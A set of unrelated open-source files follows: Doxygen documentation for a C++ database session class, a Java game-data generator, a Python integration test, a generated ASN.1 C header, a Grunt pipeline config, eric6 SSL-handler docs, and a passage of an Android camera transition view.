<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&dn=gpl-2.0.txt GPL-v2 */
$(function() {
initMenu('',true,false,'search.php','Search');
$(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
onmouseover="return searchBox.OnSearchSelectShow()"
onmouseout="return searchBox.OnSearchSelectHide()"
onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>
<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0"
name="MSearchResults" id="MSearchResults">
</iframe>
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="navelem"><b>coda</b></li><li class="navelem"><b>db</b></li><li class="navelem"><a class="el" href="classcoda_1_1db_1_1sqldb.html">sqldb</a></li> </ul>
</div>
</div><!-- top -->
<div class="header">
<div class="summary">
<a href="#pub-static-methods">Static Public Member Functions</a> </div>
<div class="headertitle">
<div class="title">coda::db::sqldb Class Reference</div> </div>
</div><!--header-->
<div class="contents">
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-methods"></a>
Static Public Member Functions</h2></td></tr>
<tr class="memitem:a731529033dddc3d495cf61026cb37228"><td class="memItemLeft" align="right" valign="top">static std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classcoda_1_1db_1_1sqldb.html#a731529033dddc3d495cf61026cb37228">create_session</a> (const std::string &value)</td></tr>
<tr class="separator:a731529033dddc3d495cf61026cb37228"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ac234e5f72b0a4f4e07f15457b1bc8494"><td class="memItemLeft" align="right" valign="top">static std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classcoda_1_1db_1_1sqldb.html#ac234e5f72b0a4f4e07f15457b1bc8494">create_session</a> (const <a class="el" href="structcoda_1_1db_1_1uri__type.html">uri</a> &value)</td></tr>
<tr class="separator:ac234e5f72b0a4f4e07f15457b1bc8494"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:a265f30b00b58db441385249b8ddd16b0"><td class="memItemLeft" align="right" valign="top">static std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classcoda_1_1db_1_1sqldb.html#a265f30b00b58db441385249b8ddd16b0">open_session</a> (const std::string &value)</td></tr>
<tr class="separator:a265f30b00b58db441385249b8ddd16b0"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:aef3c2a8ca8924d5c155e4867720b13af"><td class="memItemLeft" align="right" valign="top">static std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a> > </td><td class="memItemRight" valign="bottom"><a class="el" href="classcoda_1_1db_1_1sqldb.html#aef3c2a8ca8924d5c155e4867720b13af">open_session</a> (const <a class="el" href="structcoda_1_1db_1_1uri__type.html">uri</a> &value)</td></tr>
<tr class="separator:aef3c2a8ca8924d5c155e4867720b13af"><td class="memSeparator" colspan="2"> </td></tr>
<tr class="memitem:ab2e816576b33c9c3ecda03c5fc1a8daa"><td class="memItemLeft" align="right" valign="top">static void </td><td class="memItemRight" valign="bottom"><a class="el" href="classcoda_1_1db_1_1sqldb.html#ab2e816576b33c9c3ecda03c5fc1a8daa">register_session</a> (const std::string &protocol, const std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session__factory.html">session_factory</a> > &factory)</td></tr>
<tr class="separator:ab2e816576b33c9c3ecda03c5fc1a8daa"><td class="memSeparator" colspan="2"> </td></tr>
</table>
<h2 class="groupheader">Member Function Documentation</h2>
<a id="a731529033dddc3d495cf61026cb37228"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a731529033dddc3d495cf61026cb37228">◆ </a></span>create_session() <span class="overload">[1/2]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">static std::shared_ptr<<a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a>> coda::db::sqldb::create_session </td>
<td>(</td>
<td class="paramtype">const std::string & </td>
<td class="paramname"><em>value</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>parses a uri and creates a session </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">value</td><td>the uri string to parse </td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>the database session based on the uri </dd></dl>
</div>
</div>
<a id="ac234e5f72b0a4f4e07f15457b1bc8494"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ac234e5f72b0a4f4e07f15457b1bc8494">◆ </a></span>create_session() <span class="overload">[2/2]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">static std::shared_ptr<<a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a>> coda::db::sqldb::create_session </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structcoda_1_1db_1_1uri__type.html">uri</a> & </td>
<td class="paramname"><em>value</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>creates a database session </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">value</td><td>the uri for the session </td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>the created database session </dd></dl>
</div>
</div>
<a id="a265f30b00b58db441385249b8ddd16b0"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a265f30b00b58db441385249b8ddd16b0">◆ </a></span>open_session() <span class="overload">[1/2]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">static std::shared_ptr<<a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a>> coda::db::sqldb::open_session </td>
<td>(</td>
<td class="paramtype">const std::string & </td>
<td class="paramname"><em>value</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>parses a uri, creates a session, and opens it </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">value</td><td>the uri for the session </td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>the created and opened session </dd></dl>
</div>
</div>
<a id="aef3c2a8ca8924d5c155e4867720b13af"></a>
<h2 class="memtitle"><span class="permalink"><a href="#aef3c2a8ca8924d5c155e4867720b13af">◆ </a></span>open_session() <span class="overload">[2/2]</span></h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">static std::shared_ptr<<a class="el" href="classcoda_1_1db_1_1session.html">coda::db::session</a>> coda::db::sqldb::open_session </td>
<td>(</td>
<td class="paramtype">const <a class="el" href="structcoda_1_1db_1_1uri__type.html">uri</a> & </td>
<td class="paramname"><em>value</em></td><td>)</td>
<td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>creates a session and opens it </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">value</td><td>the uri for the session </td></tr>
</table>
</dd>
</dl>
<dl class="section return"><dt>Returns</dt><dd>the created and opened session </dd></dl>
</div>
</div>
<a id="ab2e816576b33c9c3ecda03c5fc1a8daa"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ab2e816576b33c9c3ecda03c5fc1a8daa">◆ </a></span>register_session()</h2>
<div class="memitem">
<div class="memproto">
<table class="mlabels">
<tr>
<td class="mlabels-left">
<table class="memname">
<tr>
<td class="memname">static void coda::db::sqldb::register_session </td>
<td>(</td>
<td class="paramtype">const std::string & </td>
<td class="paramname"><em>protocol</em>, </td>
</tr>
<tr>
<td class="paramkey"></td>
<td></td>
<td class="paramtype">const std::shared_ptr< <a class="el" href="classcoda_1_1db_1_1session__factory.html">session_factory</a> > & </td>
<td class="paramname"><em>factory</em> </td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td><td></td>
</tr>
</table>
</td>
<td class="mlabels-right">
<span class="mlabels"><span class="mlabel">static</span></span> </td>
</tr>
</table>
</div><div class="memdoc">
<p>registers a handler for a session protocol ex. "sqlite", my_sqlite_factory </p><dl class="params"><dt>Parameters</dt><dd>
<table class="params">
<tr><td class="paramname">protocol</td><td>the protocol, or the 'scheme' of a uri </td></tr>
<tr><td class="paramname">factory</td><td>a factory instance </td></tr>
</table>
</dd>
</dl>
</div>
</div>
<hr/>The documentation for this class was generated from the following file:<ul>
<li><a class="el" href="sqldb_8h_source.html">sqldb.h</a></li>
</ul>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by  <a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.14
</small></address>
</body>
</html>
|
ryjen/db
|
html/classcoda_1_1db_1_1sqldb.html
|
HTML
|
gpl-3.0
| 12,722
|
/**
* Copyright (C) 2013-2014 Project-Vethrfolnir
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.vethrfolnir.gen;
import java.io.*;
import java.util.ArrayList;
import com.fasterxml.jackson.databind.ObjectWriter;
import com.vethrfolnir.game.templates.npc.NpcTemplate;
/**
* @author Vlad
*
*/
public class GenMonsters {
public static void main(String[] args) throws Exception {
try (BufferedReader br = new BufferedReader(new InputStreamReader(Class.class.getResourceAsStream("/Monster.txt")))) {
ArrayList<NpcTemplate> templates = new ArrayList<>();
while(br.ready()) {
String line = br.readLine().replaceAll("\\t{2,9}", " ");
if(line.isEmpty() || line.startsWith("//") || line.endsWith("end"))
continue;
String[] split = line.split("\\t");
NpcTemplate template = new NpcTemplate();
int ptr = 0;
template.NpcId = Integer.parseInt(split[ptr++]); // No
Integer.parseInt(split[ptr++]); // Rate
template.Name = split[ptr++].replace("\"", ""); // Name
template.Level = Integer.parseInt(split[ptr++]); //Lvl
template.HP = Integer.parseInt(split[ptr++]);
template.MP = Integer.parseInt(split[ptr++]);
template.MinDmg = Integer.parseInt(split[ptr++]);
template.MaxDmg = Integer.parseInt(split[ptr++]);
template.PDef = Integer.parseInt(split[ptr++]);
template.MagDef = Integer.parseInt(split[ptr++]);
template.Attack = Integer.parseInt(split[ptr++]);
template.Success = Integer.parseInt(split[ptr++]);
template.MoveAble = Integer.parseInt(split[ptr++]);
template.AtkType = Integer.parseInt(split[ptr++]);
template.AtkRange = Integer.parseInt(split[ptr++]);
template.VisRange = Integer.parseInt(split[ptr++]);
template.MovSpeed = Integer.parseInt(split[ptr++]);
template.AtkSpeed = Integer.parseInt(split[ptr++]);
template.RegenTime = Integer.parseInt(split[ptr++]);
template.Attrib = Integer.parseInt(split[ptr++]);
template.ItemRate = Integer.parseInt(split[ptr++]);
template.MoneyRate = Integer.parseInt(split[ptr++]);
template.MaxIS = Integer.parseInt(split[ptr++]);
template.RWind = Integer.parseInt(split[ptr++]);
template.RPois = Integer.parseInt(split[ptr++]);
template.RIce = Integer.parseInt(split[ptr++]);
template.RWtr = Integer.parseInt(split[ptr++]);
template.RFire = Integer.parseInt(split[ptr++]);
templates.add(template);
}
ObjectWriter writer = GenData.getWriter();
new File("./dist/GameServer/system/static/npc/").mkdirs();
File file = new File("./dist/GameServer/system/static/npc/npc-data.json");
file.createNewFile();
writer.writeValue(new FileOutputStream(file), templates);
// warm-up
templates = GenData.asArrayList(new FileInputStream(file), GenData.getMapper(), NpcTemplate.class);
long t1 = System.currentTimeMillis();
templates = GenData.asArrayList(new FileInputStream(file), GenData.getMapper(), NpcTemplate.class);
long end = System.currentTimeMillis();
for (int i = 0; i < templates.size(); i++) {
NpcTemplate t = templates.get(i);
System.out.println(t);
}
System.out.println("Parsed: "+templates.size()+ " in "+(end - t1)+" ms - about 150 w/o worm up");
}
}
}
|
Setekh/vethrfolnir-mu
|
src/main/tests/com/vethrfolnir/gen/GenMonsters.java
|
Java
|
gpl-3.0
| 3,970
|
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS-IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Per-course integration tests for Course Builder."""
__author__ = [
'Todd Larsen (tlarsen@google.com)'
]
from modules.courses import courses_pageobjects
from tests.integration import integration
class AvailabilityTests(integration.TestBase):
def setUp(self):
super(AvailabilityTests, self).setUp()
self.login(self.LOGIN, admin=True)
def test_availability_page_js(self):
"""Checks the parts of the Publish > Availability page contents that
are dynamically altered by availability.js.
"""
sample_course_name = '' # Power Searching course w/ blank namespace.
sample_availablity_page = self.load_dashboard(
sample_course_name
).click_availability(
cls=courses_pageobjects.CourseAvailabilityPage
).verify_content_present_no_msgs(
has_triggers=True
).verify_add_trigger_button(
)
empty_course_name = self.create_new_course(login=False)[0]
self.load_dashboard(
empty_course_name
).click_availability(
cls=courses_pageobjects.CourseAvailabilityPage
).verify_empty_content_msgs(
).verify_no_trigger_button(
)
|
GirlsCodePy/girlscode-coursebuilder
|
modules/courses/courses_integration_tests.py
|
Python
|
gpl-3.0
| 1,816
|
/*
* Generated by asn1c-0.9.24 (http://lionet.info/asn1c)
* From ASN.1 module "InformationElements"
* found in "../asn/InformationElements.asn"
* `asn1c -fcompound-names -fnative-types`
*/
#ifndef _RAB_InformationSetupList_v820ext_H_
#define _RAB_InformationSetupList_v820ext_H_
#include <asn_application.h>
/* Including external dependencies */
#include <asn_SEQUENCE_OF.h>
#include <constr_SEQUENCE_OF.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Forward declarations */
struct RAB_InformationSetup_v820ext;
/* RAB-InformationSetupList-v820ext */
typedef struct RAB_InformationSetupList_v820ext {
A_SEQUENCE_OF(struct RAB_InformationSetup_v820ext) list;
/* Context for parsing across buffer boundaries */
asn_struct_ctx_t _asn_ctx;
} RAB_InformationSetupList_v820ext_t;
/* Implementation */
extern asn_TYPE_descriptor_t asn_DEF_RAB_InformationSetupList_v820ext;
#ifdef __cplusplus
}
#endif
/* Referred external types */
#include "RAB-InformationSetup-v820ext.h"
#endif /* _RAB_InformationSetupList_v820ext_H_ */
#include <asn_internal.h>
|
BramBonne/snoopsnitch-pcapinterface
|
contrib/libosmo-asn1-rrc/include/RAB-InformationSetupList-v820ext.h
|
C
|
gpl-3.0
| 1,063
|
/**
* grunt/pipeline.js
*
* The order in which your css, javascript, and template files should be
* compiled and linked from your views and static HTML files.
*
* (Note that you can take advantage of Grunt-style wildcard/glob/splat expressions
* for matching multiple files.)
*/
// CSS files to inject in order
//
// (if you're using LESS with the built-in default config, you'll want
// to change `assets/styles/importer.less` instead.)
var cssFilesToInject = [
'styles/dependencies/bootstrap.min.css',
'styles/dependencies/**/*.css',
// 'styles/**/*.css'
];
// Client-side javascript files to inject in order
// (uses Grunt-style wildcard/glob/splat expressions)
var jsFilesToInject = [
// Load sails.io before everything else
'js/dependencies/sails.io.js',
// Dependencies like jQuery, or Angular are brought in here
'js/dependencies/jquery-2.1.1.min.js',
'js/dependencies/**/*.js',
// '!js/dependencies/language/**',
// '!js/vendor/*.js',
// All of the rest of your client-side js files
// will be injected here in no particular order.
// 'js/**/*.js'
];
// Client-side HTML templates are injected using the sources below
// The ordering of these templates shouldn't matter.
// (uses Grunt-style wildcard/glob/splat expressions)
//
// By default, Sails uses JST templates and precompiles them into
// functions for you. If you want to use jade, handlebars, dust, etc.,
// with the linker, no problem-- you'll just want to make sure the precompiled
// templates get spit out to the same file. Be sure and check out `tasks/README.md`
// for information on customizing and installing new tasks.
var templateFilesToInject = [
'templates/**/*.html'
];
// Prefix relative paths to source files so they point to the proper locations
// (i.e. where the other Grunt tasks spit them out, or in some cases, where
// they reside in the first place)
module.exports.cssFilesToInject = cssFilesToInject.map(function(path) {
return '.tmp/public/' + path;
});
module.exports.jsFilesToInject = jsFilesToInject.map(function(path) {
return '.tmp/public/' + path;
});
module.exports.templateFilesToInject = templateFilesToInject.map(function(path) {
return 'assets/' + path;
});
|
Ymple/ymple-ecommerce
|
tasks/pipeline.js
|
JavaScript
|
gpl-3.0
| 2,220
|
/*
* OpenSDI Manager 2
* Copyright (C) 2014 GeoSolutions S.A.S.
* http://www.geo-solutions.it
*
* GPLv3 + Classpath exception
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package it.geosolutions.opensdi2.workflow.transform;
import java.util.Map;
/**
* Creates an object to be populated by a set or rules for the Mapper
* @author lorenzo
*
* @param <DESTTYPE>
*/
public interface PreBuilder<DESTTYPE> {
DESTTYPE build(Map<String,String> rules);
DESTTYPE build(DESTTYPE outputObject, Map<String, String> rules);
}
|
Gnafu/OpenSDI-Manager2
|
src/modules/workflow/src/main/java/it/geosolutions/opensdi2/workflow/transform/PreBuilder.java
|
Java
|
gpl-3.0
| 1,148
|
<!DOCTYPE html>
<html><head>
<title>eric6.E5Network.E5SslErrorHandler</title>
<meta charset="UTF-8">
<style>
body {
background: #EDECE6;
margin: 0em 1em 10em 1em;
color: black;
}
h1 { color: white; background: #85774A; }
h2 { color: white; background: #85774A; }
h3 { color: white; background: #9D936E; }
h4 { color: white; background: #9D936E; }
a { color: #BA6D36; }
</style>
</head>
<body><a NAME="top" ID="top"></a>
<h1>eric6.E5Network.E5SslErrorHandler</h1>
<p>
Module implementing a SSL error handler.
</p>
<h3>Global Attributes</h3>
<table>
<tr><td>None</td></tr>
</table>
<h3>Classes</h3>
<table>
<tr>
<td><a href="#E5SslErrorHandler">E5SslErrorHandler</a></td>
<td>Class implementing a handler for SSL errors.</td>
</tr>
</table>
<h3>Functions</h3>
<table>
<tr><td>None</td></tr>
</table>
<hr /><hr />
<a NAME="E5SslErrorHandler" ID="E5SslErrorHandler"></a>
<h2>E5SslErrorHandler</h2>
<p>
Class implementing a handler for SSL errors.
</p><p>
It also initializes the default SSL configuration with certificates
permanently accepted by the user already.
</p>
<h3>Derived from</h3>
QObject
<h3>Class Attributes</h3>
<table>
<tr><td>NotIgnored</td></tr><tr><td>SystemIgnored</td></tr><tr><td>UserIgnored</td></tr>
</table>
<h3>Class Methods</h3>
<table>
<tr><td>None</td></tr>
</table>
<h3>Methods</h3>
<table>
<tr>
<td><a href="#E5SslErrorHandler.__init__">E5SslErrorHandler</a></td>
<td>Constructor</td>
</tr><tr>
<td><a href="#E5SslErrorHandler.__certToString">__certToString</a></td>
<td>Private method to convert a certificate to a formatted string.</td>
</tr><tr>
<td><a href="#E5SslErrorHandler.__getSystemCaCertificates">__getSystemCaCertificates</a></td>
<td>Private method to get the list of system certificates.</td>
</tr><tr>
<td><a href="#E5SslErrorHandler.sslErrors">sslErrors</a></td>
<td>Public method to handle SSL errors.</td>
</tr><tr>
<td><a href="#E5SslErrorHandler.sslErrorsReply">sslErrorsReply</a></td>
<td>Public slot to handle SSL errors for a network reply.</td>
</tr><tr>
<td><a href="#E5SslErrorHandler.sslErrorsReplySlot">sslErrorsReplySlot</a></td>
<td>Public slot to handle SSL errors for a network reply.</td>
</tr>
</table>
<h3>Static Methods</h3>
<table>
<tr><td>None</td></tr>
</table>
<a NAME="E5SslErrorHandler.__init__" ID="E5SslErrorHandler.__init__"></a>
<h4>E5SslErrorHandler (Constructor)</h4>
<b>E5SslErrorHandler</b>(<i>parent=None</i>)
<p>
Constructor
</p><dl>
<dt><i>parent</i></dt>
<dd>
reference to the parent object (QObject)
</dd>
</dl><a NAME="E5SslErrorHandler.__certToString" ID="E5SslErrorHandler.__certToString"></a>
<h4>E5SslErrorHandler.__certToString</h4>
<b>__certToString</b>(<i>cert</i>)
<p>
Private method to convert a certificate to a formatted string.
</p><dl>
<dt><i>cert</i></dt>
<dd>
certificate to convert (QSslCertificate)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
formatted string (string)
</dd>
</dl><a NAME="E5SslErrorHandler.__getSystemCaCertificates" ID="E5SslErrorHandler.__getSystemCaCertificates"></a>
<h4>E5SslErrorHandler.__getSystemCaCertificates</h4>
<b>__getSystemCaCertificates</b>(<i></i>)
<p>
Private method to get the list of system certificates.
</p><dl>
<dt>Returns:</dt>
<dd>
list of system certificates (list of QSslCertificate)
</dd>
</dl><a NAME="E5SslErrorHandler.sslErrors" ID="E5SslErrorHandler.sslErrors"></a>
<h4>E5SslErrorHandler.sslErrors</h4>
<b>sslErrors</b>(<i>errors, server, port=-1</i>)
<p>
Public method to handle SSL errors.
</p><dl>
<dt><i>errors</i></dt>
<dd>
list of SSL errors (list of QSslError)
</dd><dt><i>server</i></dt>
<dd>
name of the server (string)
</dd><dt><i>port=</i></dt>
<dd>
value of the port (integer)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
tuple indicating to ignore the SSL errors (one of NotIgnored,
SystemIgnored or UserIgnored) and indicating a change of the
default SSL configuration (boolean)
</dd>
</dl><a NAME="E5SslErrorHandler.sslErrorsReply" ID="E5SslErrorHandler.sslErrorsReply"></a>
<h4>E5SslErrorHandler.sslErrorsReply</h4>
<b>sslErrorsReply</b>(<i>reply, errors</i>)
<p>
Public slot to handle SSL errors for a network reply.
</p><dl>
<dt><i>reply</i></dt>
<dd>
reference to the reply object (QNetworkReply)
</dd><dt><i>errors</i></dt>
<dd>
list of SSL errors (list of QSslError)
</dd>
</dl><dl>
<dt>Returns:</dt>
<dd>
tuple indicating to ignore the SSL errors (one of NotIgnored,
SystemIgnored or UserIgnored) and indicating a change of the
default SSL configuration (boolean)
</dd>
</dl><a NAME="E5SslErrorHandler.sslErrorsReplySlot" ID="E5SslErrorHandler.sslErrorsReplySlot"></a>
<h4>E5SslErrorHandler.sslErrorsReplySlot</h4>
<b>sslErrorsReplySlot</b>(<i>reply, errors</i>)
<p>
Public slot to handle SSL errors for a network reply.
</p><dl>
<dt><i>reply</i></dt>
<dd>
reference to the reply object (QNetworkReply)
</dd><dt><i>errors</i></dt>
<dd>
list of SSL errors (list of QSslError)
</dd>
</dl>
<div align="right"><a href="#top">Up</a></div>
<hr />
</body></html>
|
davy39/eric
|
Documentation/Source/eric6.E5Network.E5SslErrorHandler.html
|
HTML
|
gpl-3.0
| 5,041
|
/*
* Copyright (C) 2013 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.android.camera.ui;
import android.animation.Animator;
import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.animation.ValueAnimator;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.Path;
import android.graphics.PorterDuff;
import android.graphics.PorterDuffXfermode;
import android.graphics.Rect;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.util.AttributeSet;
import android.view.GestureDetector;
import android.view.MotionEvent;
import android.view.View;
import com.android.camera.app.CameraAppUI;
import com.android.camera.debug.Log;
import com.android.camera.util.Gusterpolator;
import com.android.camera2.R;
/**
* This view is designed to handle all the animations during camera mode transition.
* It should only be visible during mode switch.
*/
public class ModeTransitionView extends View {
private static final Log.Tag TAG = new Log.Tag("ModeTransView");
private static final int PEEP_HOLE_ANIMATION_DURATION_MS = 300;
private static final int ICON_FADE_OUT_DURATION_MS = 850;
private static final int FADE_OUT_DURATION_MS = 250;
private static final int IDLE = 0;
private static final int PULL_UP_SHADE = 1;
private static final int PULL_DOWN_SHADE = 2;
private static final int PEEP_HOLE_ANIMATION = 3;
private static final int FADE_OUT = 4;
private static final int SHOW_STATIC_IMAGE = 5;
private static final float SCROLL_DISTANCE_MULTIPLY_FACTOR = 2f;
private static final int ALPHA_FULLY_TRANSPARENT = 0;
private static final int ALPHA_FULLY_OPAQUE = 255;
private static final int ALPHA_HALF_TRANSPARENT = 127;
private final GestureDetector mGestureDetector;
private final Paint mMaskPaint = new Paint();
private final Rect mIconRect = new Rect();
/** An empty drawable to fall back to when mIconDrawable set to null. */
private final Drawable mDefaultDrawable = new ColorDrawable();
private Drawable mIconDrawable;
private int mBackgroundColor;
private int mWidth = 0;
private int mHeight = 0;
private int mPeepHoleCenterX = 0;
private int mPeepHoleCenterY = 0;
private float mRadius = 0f;
private int mIconSize;
private AnimatorSet mPeepHoleAnimator;
private int mAnimationType = PEEP_HOLE_ANIMATION;
private float mScrollDistance = 0;
private final Path mShadePath = new Path();
private final Paint mShadePaint = new Paint();
private CameraAppUI.AnimationFinishedListener mAnimationFinishedListener;
private float mScrollTrend;
private Bitmap mBackgroundBitmap;
public ModeTransitionView(Context context, AttributeSet attrs) {
super(context, attrs);
mMaskPaint.setAlpha(0);
mMaskPaint.setXfermode(new PorterDuffXfermode(PorterDuff.Mode.CLEAR));
mBackgroundColor = getResources().getColor(R.color.video_mode_color);
mGestureDetector = new GestureDetector(getContext(),
new GestureDetector.SimpleOnGestureListener() {
@Override
public boolean onDown(MotionEvent ev) {
setScrollDistance(0f);
mScrollTrend = 0f;
return true;
}
@Override
public boolean onScroll(MotionEvent e1, MotionEvent e2,
float distanceX, float distanceY) {
setScrollDistance(getScrollDistance()
+ SCROLL_DISTANCE_MULTIPLY_FACTOR * distanceY);
mScrollTrend = 0.3f * mScrollTrend + 0.7f * distanceY;
return false;
}
});
mIconSize = getResources().getDimensionPixelSize(R.dimen.mode_transition_view_icon_size);
setIconDrawable(mDefaultDrawable);
}
/**
* Updates the size and shape of the shade
*/
private void updateShade() {
if (mAnimationType == PULL_UP_SHADE || mAnimationType == PULL_DOWN_SHADE) {
mShadePath.reset();
float shadeHeight;
if (mAnimationType == PULL_UP_SHADE) {
// Scroll distance > 0.
mShadePath.addRect(0, mHeight - getScrollDistance(), mWidth, mHeight,
Path.Direction.CW);
shadeHeight = getScrollDistance();
} else {
// Scroll distance < 0.
mShadePath.addRect(0, 0, mWidth, - getScrollDistance(), Path.Direction.CW);
shadeHeight = getScrollDistance() * (-1);
}
if (mIconDrawable != null) {
if (shadeHeight < mHeight / 2 || mHeight == 0) {
mIconDrawable.setAlpha(ALPHA_FULLY_TRANSPARENT);
} else {
int alpha = ((int) shadeHeight - mHeight / 2) * ALPHA_FULLY_OPAQUE
/ (mHeight / 2);
mIconDrawable.setAlpha(alpha);
}
}
invalidate();
}
}
/**
* Sets the scroll distance. Note this function gets called in every
* frame during animation. It should be very light weight.
*
* @param scrollDistance the scaled distance that user has scrolled
*/
public void setScrollDistance(float scrollDistance) {
// First make sure scroll distance is clamped to the valid range.
if (mAnimationType == PULL_UP_SHADE) {
scrollDistance = Math.min(scrollDistance, mHeight);
scrollDistance = Math.max(scrollDistance, 0);
} else if (mAnimationType == PULL_DOWN_SHADE) {
scrollDistance = Math.min(scrollDistance, 0);
scrollDistance = Math.max(scrollDistance, -mHeight);
}
mScrollDistance = scrollDistance;
updateShade();
}
public float getScrollDistance() {
return mScrollDistance;
}
@Override
public void onDraw(Canvas canvas) {
if (mAnimationType == PEEP_HOLE_ANIMATION) {
canvas.drawColor(mBackgroundColor);
if (mPeepHoleAnimator != null) {
// Draw a transparent circle using clear mode
canvas.drawCircle(mPeepHoleCenterX, mPeepHoleCenterY, mRadius, mMaskPaint);
}
} else if (mAnimationType == PULL_UP_SHADE || mAnimationType == PULL_DOWN_SHADE) {
canvas.drawPath(mShadePath, mShadePaint);
} else if (mAnimationType == IDLE || mAnimationType == FADE_OUT) {
canvas.drawColor(mBackgroundColor);
} else if (mAnimationType == SHOW_STATIC_IMAGE) {
// TODO: These different animation types need to be refactored into
// different animation effects.
canvas.drawBitmap(mBackgroundBitmap, 0, 0, null);
super.onDraw(canvas);
return;
}
super.onDraw(canvas);
mIconDrawable.draw(canvas);
}
@Override
protected void onLayout(boolean changed, int left, int top, int right, int bottom) {
mWidth = right - left;
mHeight = bottom - top;
// Center the icon in the view.
mIconRect.set(mWidth / 2 - mIconSize / 2, mHeight / 2 - mIconSize / 2,
